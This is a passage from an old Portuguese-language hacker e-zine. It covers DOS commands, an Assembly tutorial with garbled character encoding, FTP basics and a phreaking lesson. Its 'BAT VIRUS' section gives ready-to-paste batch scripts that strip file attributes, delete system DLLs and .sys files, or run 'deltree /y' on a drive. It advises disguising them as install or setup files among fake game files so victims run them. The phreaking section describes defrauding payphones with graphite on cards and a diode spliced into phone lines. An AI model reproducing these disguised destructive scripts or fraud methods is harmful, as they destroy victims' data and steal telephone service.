que tenham "win" em seu nome.
ex.
winsck.dll
winzip32.exe
gamewin2.zip
dir psico.* --- lista os arqs. "psico" com
qualquer extensao.
ex.
psico.txt
psico.exe
psico.ini
copy --- copia um arq. de um dir.
pra outro -- ------ copy nome_arq.??? novo_dir
del --- deleta (apaga) arqs. ------ del nome_arq.???
move --- move um arq. --------- o mesmo do copy
type --- mostra o conteudo de um arq. ----- type nome_arq
more --- usado apos o type, ou outro
comando em que a tela role
muito. Ele da uma pausa por
tela. Usado logo apos o
comando. ------ | more
attrib --- seta os atributos de arqs.
e dirs. - ----- attrib +a +s +h +r nome_arq.???
+ - ativa
- - desativa
a - arquivo
s - arquivo de sistema
h - arquivo oculto
r - arquivo somente de leitura
ex.
attrib +h psico.txt -- deixa o arq. psico.txt
oculto.
deltree --- apaga um dir. e tudo que
tiver dentro. ------------- deltree /y nome_dir
/y - apaga sem pedir comfirmacao.
edit --- editor do DOS -------- edit
edit nome_arq.txt
prompt ---- e' o "c:\" do teu DOS. --- prompt $p$g$t$d
$p = :
$g = \
$t = mostra a hora
$d = mostra a data
echo ------- coloca mensagens em bath files -- echo qquer_bosta
echo on
echo off
on - e' o padrao, ativa o prompt;
off - desativa o prompt.
help ------- lista os comandos, suas funcoes e sintaxes.
/? ------- usado logo apos o nome do comando, da um help.
bath files ou arquivos em lote
E um script (conjunto de comandos) que quando executado, executa
varios comandos de uma so vez. Sao os *.bat.
Fazendo um bath file
copy con nome_arq.bat
comandos (cmd)
cmd
cmd
cmd
cmd
^z -- ctrl + "z"
ex.
copy con atalho.bat
cd\
cd games
cd rpg
cd krondor
krondor
^z
O exemplo acima mostra um bath file simples que cria um atalho para
o jogo Krondor, que ta no c:\games\rpg\krondor
Pode-se tbem usar um editor qualquer e eliminar a 1. e a ultima
linha. Salvando o arquivo em .bat !!
BAT VIRUS
Nao da pra dizer que sao virus, mas da pra sacanear bastande lamer !!
Fazer arquivos maldozos e bem simples, basta fazer um bath file com
varios comandos do tipo: del, move, deltree, rd, etc ... E nomea-los
com nomes do tipo: install.bat, instala.bat, setup.bat, etc.
O legal e' colocar esses arquivos num diretorio cheio de arquivos nada
a ver, como: intro.voc, intro.pcx, war.win, great.top, e assim por
diante, o lamer pensa que um jogo, roda o .bat e se fode todo !!
exemplos de BAT VIRUS :
escreva no edit.
Se vc abriu o psico002.txt no edit, e' so' copiar e depois colar !!
<> ---> nao va por isso no arquivo :) !!
cd\
cd\windows\system
attrib -a -s -h -r *.dll
cls
del *.dll
cls
cd\
attrib -a -s -h -r *.*
cls
del *.sys
cls
echo off
echo ********************************************************************
echo * LL A MMM MMMM EEEEEEE RRRRRRRR *
echo * LL AA AA MM M M MM EE RR RR *
echo * LL AA AA MM M M MM EEEE RRRRRRRR *
echo * LL AA A AA MM M M MM EE RR RR *
echo * LLLLL AA AA MM M MM EEEEEEE RR RR *
echo * *
echo ********************************************************************
echo ********************************************************************
echo * LL A MMM MMMM EEEEEEE RRRRRRRR *
echo * LL AA AA MM M M MM EE RR RR *
echo * LL AA AA MM M M MM EEEE RRRRRRRR *
echo * LL AA A AA MM M M MM EE RR RR *
echo * LLLLL AA AA MM M MM EEEEEEE RR RR *
echo * *
echo ********************************************************************
echo ********************************************************************
echo * LL A MMM MMMM EEEEEEE RRRRRRRR *
echo * LL AA AA MM M M MM EE RR RR *
echo * LL AA AA MM M M MM EEEE RRRRRRRR *
echo * LL AA A AA MM M M MM EE RR RR *
echo * LLLLL AA AA MM M MM EEEEEEE RR RR *
echo * *
echo ********************************************************************
echo on
prompt E U S O U U M L A M E R !!!!
<><><><><><><>
esse ai vai foder o windows do cara e vai dar pau quando ele resetar.
Se vc nao quizer por a mensagem, pro lamer nem se ligar que foi vc que
causou dano no seu PC, apague as linhas que tem "echo" e "prompt" !!
<>
cd\
deltree /y *.*
<><><><><>
esse ai apaga tudo que encontra pela frente, mas coloca uma msg na
tela dizendo que ta apagando, se o PC dele for rapido, ate ele se
ligar, ja fez um estrago.
****************************************************************************
T U T O R I A L D E L I N G U A G E M A S S E M B L Y
--------------- --- ----------------- ---------------
Conte£do:
1.Introdu‡Æo
2.Conceitos B sicos
3.Programa‡Æo Assembly
4.Instru‡äes Assembly
5.Interrup‡äes e gerˆncia de arquivos
6.Macros e procedimentos
7.Exemplos de programas
8.Bibliografia
*****************************************************************************
CAPÖTULO 1: INTRODU€ÇO
Conte£do:
1.1.O que h de novo neste material
1.2.Apresenta‡Æo
1.3.Por que aprender Assembly?
1.4.N¢s precisamos da sua opiniÆo
--------------- // ---------------
1.1.O que h de novo neste material:
Ap¢s um ano da realiza‡Æo da primeira versÆo do tutorial, e atrav‚s das
opiniäes recebidas por e-mail, resolvemos ter por disposi‡Æo todos estes
coment rios e sugestäes. Esperamos que atrav‚s deste novo material Assembly,
as pessoas que se mostrarem interessadas possam aprender mais sobre o seu
IBM PC. Esta nova edi‡Æo do tutorial inclui:
Uma se‡Æo completa sobre como usar o programa debug.
Mais exemplos de programas.
Um motor de pesquisa, para qualquer t¢pico ou item relacionado … esta
nova versÆo.
Consider vel reorganiza‡Æo e revisÆo do material Assembly.
Em cada se‡Æo, h um link para o Dicion rio On-line de Computa‡Æo de
Dennis Howe.
1.2.Apresenta‡Æo:
Este tutorial destina-se …quelas pessoas que nunca tiveram contato com a
Linguagem Assembly.
O tutorial est completamente focado em computadores com processadores 80x86
da fam¡lia Intel, e considerando que a base da linguagem ‚ o funcionamento
dos recursos internos do processador, os exemplos descritos nÆo sÆo
compat¡veis com qualquer outra arquitetura.
As informa‡äes estÆo dispostas em unidades ordenadas para permitir f cil
acesso a cada t¢pico, bem como uma melhor navega‡Æo pelo tutorial.
Na se‡Æo introdut¢ria sÆo mencionados alguns conceitos elementares sobre
computadores e a Linguagem Assembly em si.
1.3.Por que aprender Assembly?
A primeira razÆo para se trabalhar com o assembler ‚ a oportunidade de
conhecer melhor o funcionamento do seu PC, o que permite o desenvolvimento
de programas de forma mais consistente.
A segunda razÆo ‚ que vocˆ pode ter um controle total sobre o PC ao fazer
uso do assembler.
Uma outra razÆo ‚ que programas assembly sÆo mais r pidos, menores e mais
poderosos do que os criados com outras linguagens.
Ultimamente, o assembler (montador) permite uma otimiza‡Æo ideal nos
programas, seja no seu tamanho ou execu‡Æo.
1.4.N¢s precisamos da sua opiniÆo:
Nosso intuito ‚ oferecer um modo simples para que vocˆ consiga aprender
Assembly por si mesmo. Por tanto, qualquer coment rio ou sugestÆo ser
bem-vinda.
*****************************************************************************
CAPÖTULO 2: CONCEITOS BµSICOS
Conte£do:
2.1.Descri‡Æo b sica de um sistema computacional.
2.2.Conceitos b sicos da Linguagem Assembly
2.3.Usando o programa debug
--------------- // ---------------
Esta se‡Æo tem o prop¢sito de fazer um breve coment rio a respeito dos
principais componentes de um sistema computacional, o que ir permitir ao
usu rio uma melhor compreensÆo dos conceitos propostos no decorrer do
tutorial.
2.1.DESCRIۂO DE UM SISTEMA COMPUTACIONAL
Conte£do:
2.1.1.Processador Central
2.1.2.Mem¢ria Principal
2.1.3.Unidades de Entrada e Sa¡da
2.1.4.Unidades de Mem¢ria Auxiliar
Sistema Computacional.
Chamamos de Sistema Computacional a completa configura‡Æo de um computador,
incluindo os perif‚ricos e o sistema operacional.
2.1.1.Processador Central.
tamb‚m conhecido por CPU ou Unidade Central de Processamento, que por sua
vez ‚ composta pela unidade de controle e unidade de l¢gica e aritm‚tica.
Sua fun‡Æo consiste na leitura e escrita do conte£do das c‚lulas de mem¢ria,
regular o tr fego de dados entre as c‚lulas de mem¢ria e registradores
especiais, e decodificar e executar as instru‡äes de um programa.
O processador tem uma s‚rie de c‚lulas de mem¢ria usadas com freqˆncia e,
dessa forma, sÆo partes da CPU. Estas c‚lulas sÆo conhecidas com o nome de
registradores. Um processador de um PC possui cerca de 14 registradores.
Como os PCs tem sofrido evolu‡Æo veremos que podemos manipular registradores
de 16 ou 32 bits.
A unidade de l¢gica e aritm‚tica da CPU realiza as opera‡äes relacionadas ao
c lculo simb¢lico e num‚rico. Tipicamente estas unidades apenas sÆo capazes
de realizar opera‡äes elementares, tais como: adi‡Æo e subtra‡Æo de dois
n£meros inteiros, multiplica‡Æo e divisÆo de n£mero inteiro, manuseio de
bits de registradores e compara‡Æo do conte£do de dois registradores.
Computadores pessoais podem ser classificados pelo que ‚ conhecido como
tamanho da palavra, isto ‚, a quantidade de bits que o processador ‚ capaz
de manusear de uma s¢ vez.
2.1.2.Mem¢ria Principal.
um grupo de c‚lulas, agora sendo fabricada com semi-condutores, usada para
processamentos gerais, tais como a execu‡Æo de programas e o armazenamento
de informa‡äes para opera‡äes.
Cada uma das c‚lulas pode conter um valor num‚rico e ‚ capaz de ser
endere‡ada, isto ‚, pode ser identificada de forma singular em rela‡Æo …s
outras c‚lulas pelo uso de um n£mero ou endere‡o.
O nome gen‚rico destas mem¢rias ‚ Random Access Memory ou RAM. A principal
desvantagem deste tipo de mem¢ria ‚ o fato de que seus circuitos integrados
perdem a informa‡Æo que armazenavam quando a energia el‚trica for
interrompida, ou seja, ela ‚ vol til. Este foi o motivo que levou … cria‡Æo
de um outro tipo de mem¢ria cuja informa‡Æo nÆo ‚ perdida quando o sistema ‚
desligado. Estas mem¢rias receberam o nome de Read Only Memory ou ROM.
2.1.3.Unidades de Entrada e Sa¡da.
Para que o computador possa ser £til para n¢s se faz necess rio que o
processador se comunique com o exterior atrav‚s de interfaces que permitem a
entrada e a sa¡da de informa‡Æo entre ele e a mem¢ria. Atrav‚s do uso destas
comunica‡äes ‚ poss¡vel introduzir informa‡Æo a ser processada e mais tarde
visualizar os dados processados.
Algumas das mais comuns unidades de entrada sÆo o teclado e o mouse. As mais
comuns unidades de sa¡da sÆo a tela do monitor e a impressora.
2.1.4.Unidades de Mem¢ria Auxiliar.
Considerando o alto custo da mem¢ria principal e tamb‚m o tamanho das
aplica‡äes atualmente, vemos que ela ‚ muito limitada. Logo, surgiu a
necessidade da cria‡Æo de dispositivos de armazenamento pr ticos e
econ“micos.
Estes e outros inconvenientes deram lugar …s unidades de mem¢ria auxiliar,
perif‚ricos. As mais comuns sÆo as fitas e os discos magn‚ticos.
A informa‡Æo ali armazenada ser dividida em arquivos. Um arquivo ‚ feito de
um n£mero vari vel de registros, geralmente de tamanho fixo, podendo conter
informa‡Æo ou programas.
--------------- // ---------------
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FTP
Protocolo de transferencia de arquivos.
E' o protocolo para tranferencia de arquivos mais usado, em um
servidor de FTP vc encontra tudo que e' tipo de arquivo (e claro
que as vezes pode demorar um pouco pra vc achar aquilo que vc quer).
Acessando um servidor de FTP
Para acessar um servidor de FTP, vc precisa de um programa especial,
caso vc nao tenha saco pra baixar um, o windows tem, va ao prompt do
DOS, e digite ftp, open nome_do_servidor, user nome_usuario e pass
senha.
exemplo. no prompt do DOS digite:
(entra no ftp) ftp
(nome do ftp server) open ftp.mandic.com.br
(usuario) anonymous
(password) ummail@qual.quer
comandos:
ls - parecido com o "dir" do DOS;
cd x - entra no diretorio "x";
cd .. - retorna um diretorio;
get y - puxa o arquivo "y";
? = help - mostra os comandos.
<><><><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>>
INTRO AO PHREAK aula 02
Telefones Publicos
Telefones publicos sao bem uteis no dia a dia, principalmente se vc
nao paga as ligacoes que faz.
Existem inumeras tecnicas para deixar seu cartao infinito, pena que
a maioria e' tudo papo furado. Uma delas que eu testei e funcionou,
foi a do grafite.
Aumentando os creditos do cartao
Arroche grafite no seu cartao. Pegue um lapis e risque a parte
cinza dele, mas risque com bastante forca e bastante, isto faz
com que os fusiveizinhos do cartao nao queimem, ou eles queimam
mas a corrente continua passando, sei la.
Isso funcionou diferente em varios orelhoes, uns aumentou bastente,
uns bem pouco, outros nada, e teve orelhao que nem funcionou.
Fazendo Ligacoes de Graca em Telefone Publico usando um DIODO
O diodo e' um componente eletronico que basicamente permite que a
corrente circule apenas em uma direcao dentro de um circuito.
Pode ser encontrado facilmente em casa de componentes eletronicos.
Materiais:
um diodo IN4002, IN4004 ou IN4007;
um resistor de 22K e potencia de 1W;
um orelhao vitima;
um estilete, faca ou outra coisa afiada pra descascar o fio;
uma dose de paciencia;
atencao para nao cair em cana.
Ligue o diodo em paralelo com resistor, em seguida descasque os fios
do telefone e ligue a combinacao resistor-diodo em cada extremidade
do fio.
esquema
fio do telefone ---->||
| ||
| + || -
| ||
|--> /----------/ \----------\
| diodo |fio do telefone
|_____/---|||||---\______|
+ | \---|||||---/ | -
| resistor |
| |
\----------\ /----------/
||
+ || -
|| fio do telefone
||
Se ficar mudo, e' so inverter a polaridade !!!
As vezes e meio foda descascar o fio, pois alguns tem uma camada
protetora, pra esses, use um gancho (use a imaginacao) pra
alcancar a parte sem a protecao. Vide esquema.
esquema
Û <--- fio protegido
Û
I- Û -I
I Û I----- tubo protetor
I | I
I |---I-------- fio desprotegido
I | I
I | I
I | I
Enfie o gancho pelo tubo ate encontrar o fio desprotegido !!
Ligando de graca em orelhoes com telefone normal
Consiga um telefone (quanto menor melhor), use o esquema acima pra
descascar o fio do telefone (nao precisa colocar diodo nem resistor)
pegue o telefone e faca a ligacao do fio do orelhao com ele.
...... ate o proximo !!!
()())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(()(
|--
/\//\||)|-|/\@yahoo.com ÿ
|--
ESTA EDICAO VEIO SEM O GUITAR PLACE POIS ESTA SENDO PREPARADO UMA
SECAO ESPECIAL PARA O PROXIMO NUMERO. AGUARDEM !!!!!!!
QUALQUE DUVIDA, CRITICA OU SUGESTAO, E-MAILS SAO BEM VINDOS !!
TODOS OS E-MAILS SERAO RESPONDIDOS!
MANDE SEUS DADOS PARA QUE VC POSSA SER CADASTRADO E TER
PRIVILEGIO AO RECEBER INFORMACOES !!
-------->>>>>> naideia@yahoo.com <<<<<<<--------